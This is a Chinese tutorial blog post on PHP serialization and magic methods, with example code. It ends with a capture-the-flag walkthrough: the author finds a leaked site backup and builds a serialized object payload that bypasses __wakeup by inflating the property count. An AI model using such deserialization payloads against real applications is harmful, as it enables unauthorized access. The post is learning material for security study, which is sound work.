首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP反序列化学习

PHP反序列化学习

作者头像
ly0n
发布2020-11-04 11:03:16
7980
发布2020-11-04 11:03:16
举报
文章被收录于专栏:ly0nly0n

函数介绍

serialize()函数

该函数用于将实例化的对象序列化,或者序列化数组

序列化对象

<?php
class demo{
    public $name = 'cbatl10';
   
    
    public function __contruct(){
        $this->name = $name;
    }
}

$test = new demo();
$test1 = serialize($test);
echo $test1;

得到

O:4:"demo":1:{s:4:"name";s:7:"cbatl10";}

序列化数组

<?php
$a = array('l1','l2','l3');
$serialized = serialize($a);
echo $serialized;
?>

得到结果

a:3:{i:0;s:2:"l1";i:1;s:2:"l2";i:2;s:2:"l3";}

每个字符都有各自的意义,从这两个得到的序列化结果也可以看出来

o表示对象,a表示数组,s表示字符,i表示数字 s:后面的数字表示又多少个字符。

unserialize()函数

从名字来感觉,一个序列化一个反序列化,很轻易的就能知道unserialize()函数的用处。没错,反序列化函数就是用来将序列化后的字符串再转换为对象或数组。

反序列化为对象

<?php
class demo{
    public $name = 'cbatl10';
   
    
    public function __contruct(){
        $this->name = $name;
    }
}

$test = new demo();
$test1 = serialize($test);
#echo $test1;
$test2 = unserialize($test1);
print_r($test2);




?>

得到了反序列化后的结果

demo Object
(
    [name] => cbatl10
)

反序列化数组

也将会返回数组的信息,这里不在写了。

魔法函数学习

在php类中会包含一些特殊的函数叫魔法函数,下面学习一下这些魔法函数

魔法函数均是以两个下划线开头(__),它会在特定的情况下被调用。

construct()和destruct()

__construct()对象初始化时会调用此方法。

__destruct() 当对象销毁时会调用此方法,什么时候会主动销毁对象呢?

一是用户主动销毁,二是当程序结束后自动销毁。

<?php
class Demo{
    private $flag;

    public function __construct(){
        $this->flag=true;
        echo 'brith'.PHP_EOL;
    }
    public function __destruct(){
        $this->flag=false;
        echo 'die'.PHP_EOL;
    }

}
//主动销毁对象
$test = new Demo();
sleep(1);

//程序完成后自动销毁
$test1 = new Demo();
sleep(1);
?>

由上代码可以看到__construct() 在运行时是用户自动删除对象

​ __destruct()是程序完成后自动销毁对象

运行之后返回了 brith die

get()和set()

面对对象编程中使用频率很高的两个方法,当设置和获取对象的属性不被允许时,此方法会被调用。当不存在或不被允许读写时才会被调用,所以当一个对象的属性不确定时,用这两个方法的效果很好。

__get(name) 获取对象不存在的属性或者不被允许访问的属性时被调用。name为要获取的属性名。

__set(name,value) 设置对象不存在的属性或者不被允许访问的属性时被调用。name为要设置的属性名,value表示要设置的值。

<?php
class Lyt{
    protected $_data;

    public function __get($name){
        if (isset($this->_data[$name])){
            return $this->_data;
        }
        return false;
    }
    public function __set($name,$value){
        $this->_data=$value;
    }
}

$test = new Lyt();
$test-> name= 'lyt';
echo $test->name.PHP_EOL;

?>

isset()和unset()

当调用方法isset()判断对象是否存在某属性,调用unset()注销某属性时。且这些属性不存在或不可访问时,会分别调用isset()和unset()方法

都是当属性不存在或者不可访问时被调用

__isset(name) 调用isset()方法来判断属性不存在或不可访问,name表示属性名

__unset(name) 调用unset()方法来删除不可访问的类属性, name表示属性名

<?php
class study{
    public $name;
    public $sex;
    public $age;

    public function __construct($name,$sex,$age){
        $this -> name = $name;
        $this -> sex = $sex;
        $this -> age = $age;
    }

    public function __isset($name){
        echo 'The property'. $name .'no exits'.PHP_EOL;
    }

    public function __unset($name){
        echo 'The property'. $name .'can not unset'.PHP_EOL;
    }
}

$test = new study('cbatl10','男',20);
isset($test->name);
isset($test->real_name);
unset($test->age);

?>

call()和callstatic()

通过前面我们可以知道当获取对象的属性不存在时会调用__get()方法,但是如果当这个方法也不存在时呢,php引擎就会自动调用到我们的call()方法。

看到callstatic()就可以知道是一个静态的方法,所以他的作用是,当调用的是一个静态的方法时,php引擎会自动调用callstatic()方法。要注意的是在php5.3以上的版本才支持。

__call(method,args) 调用对象方法不存在或不允许被调用时被调用,method表示方法名,args表示调用的参数。

__callstatic(method,args) 调用对象静态方法不存在或不被允许访问时被调用,method表示方法名,args表示调用的参数。

<?php
class People{
    public function jump(){
        echo 'I can jump'.PHP_EOL;
    }
    public function run(){
        echo 'I can run'.PHP_EOL;
    }
    public function __call($method,$args){
        echo 'I can not ' .$method.PHP_EOL;
    }
    public function __callstatic($method,$args){
        echo 'We are not'.$method.PHP_EOL;
    }
}

$people = new People();
$people->jump();
$people->run();
$people->fly();
People:: fly();

?>

sleep()和wakeup()

看字面意思就知道一个是睡眠一个是醒来,在php中有一个searialize()函数,它会将对象的各个属性序列化以方便保存起来,而相反的是有一个unsearialize()函数,会将保存的序列化的数据解开变成对象。也叫唤醒。

__sleep() 当调用searialize()方法时调用,返回值为数组,表示需要序列化的数据项。

__wakeup() 当调用unsearalize()方法时调用。一般用来唤醒时初始化资源对象。

<?php
class User{
    public $username;
    public $sex;
    public $passFile;
    public $password;

    public function __contruct($username,$sex,$passFile){
        $this->username=$username;
        $this->sex=$sex;
        $this->passFile=$passFile;
        $this->password=file_get_contents($passFile);
    }
    public function getPassword(){
        return $this->password;
    }

    public function __sleep(){
        return array(
            'username','sex','passFile',
        );
    }
    
    public function __wakeup(){
        $this->password=file_get_contents($this->passFile);
    }
}

$test = new User('cbatl','male','pass.data');
$test1 = serialize($test);
echo $test1.PHP_EOL;
$test2 = unserialize($test1);
echo $test2->getPassword().PHP_EOL;

toString()

这个很容易理解,str就是字符串,这个方法就是将对象强制转换为string类型

__tostring()方法当对象在需要转换成字符串时,会调用此方法。

<?php
class info{
    public function __toString(){
        return 'info';
    }
}

$test = new info();
//输出字符串info
echo $test.PHP_EOL;
//输出字符串info的md5值   caf9b6b99962bf5c2264824231d7a40c
echo md5($test).PHP_EOL;
//截取字符串
echo substr($test,0,3).PHP_EOL;

?>

clone()

此方法在复制对象时被调用。

我们可以这样理解a为一个实例化的对象,当b=a时。b为a 的引用。当a发生改变时。b也会随之发生改变,为了使b不发生改变所以我们需要用b= clone a

<?php
class cbat{
    public $value;

    public function __clone(){
        echo "Clone myself".PHP_EOL;
    }
}

$test = new cbat();
$test->value=4;
$newtest = clone $test;
$test->value = 5;
echo 'The test is'.$test->value.PHP_EOL;
//The test is 5
echo 'The newtest is',$newtest->value.PHP_EOL;
//The newtest is 4
?>

autoload()

字面意思是自动加载。主要是用来自动加载类。

在php中要使用另外一个文件中的类需要用require或include方法,包括require_once和include_once导入进来。那么如果我要使用的类未被导入,就会开始调用__autoload()方法。

__autoload(name) name表示需要自动导入的类名。

<?
class cbatl10{
    public function __construct(){
        echo "Welcome Cbatl10's".PHP_EOL;
}
function __autoload($name){
    $classPath = str_replace('We',lyt,$name);
    require_once("$classPath.php");
}

$test = new cbatl10();
echo $test;
?>

题目实战

打开题目看到如图所示

看到说有网站备份的习惯,于是就有后台扫描工具扫了下,发现了www.zip

于是下载了下来

发现了压缩包里的文件,打开flag.php给了一个类似flag的字符串,结果是错的。

那就接着看吧。先看了index.php文件

在这个文件发现了入口文件class.php,还知道了是GET传参方式,传入select.

接下来查看class.php,审计后

可以知道我们要传入两个参数

一个username 为admin

一个password 为 100

于是可以写脚本构造POC链

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b.PHP_EOL;

//得到结果  O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

?>

接下来就是绕过__wakeup()

我们审计代码时发现,__wakeup()的作用就是将username重新赋值为 guest,所以我们要绕过这个函数。

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:”Name”后面的2改为3及以上的整数。这样就可以绕过。

新的POC链

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

注意我们使用的private来声明字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失,需要我们自己加上

最终POC

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后GET传参构造payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-04-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 函数介绍
    • serialize()函数
      • unserialize()函数
      • 魔法函数学习
        • construct()和destruct()
          • get()和set()
            • isset()和unset()
              • call()和callstatic()
                • sleep()和wakeup()
                  • toString()
                    • clone()
                      • autoload()
                      • 题目实战
                      相关产品与服务
                      文件存储
                      文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档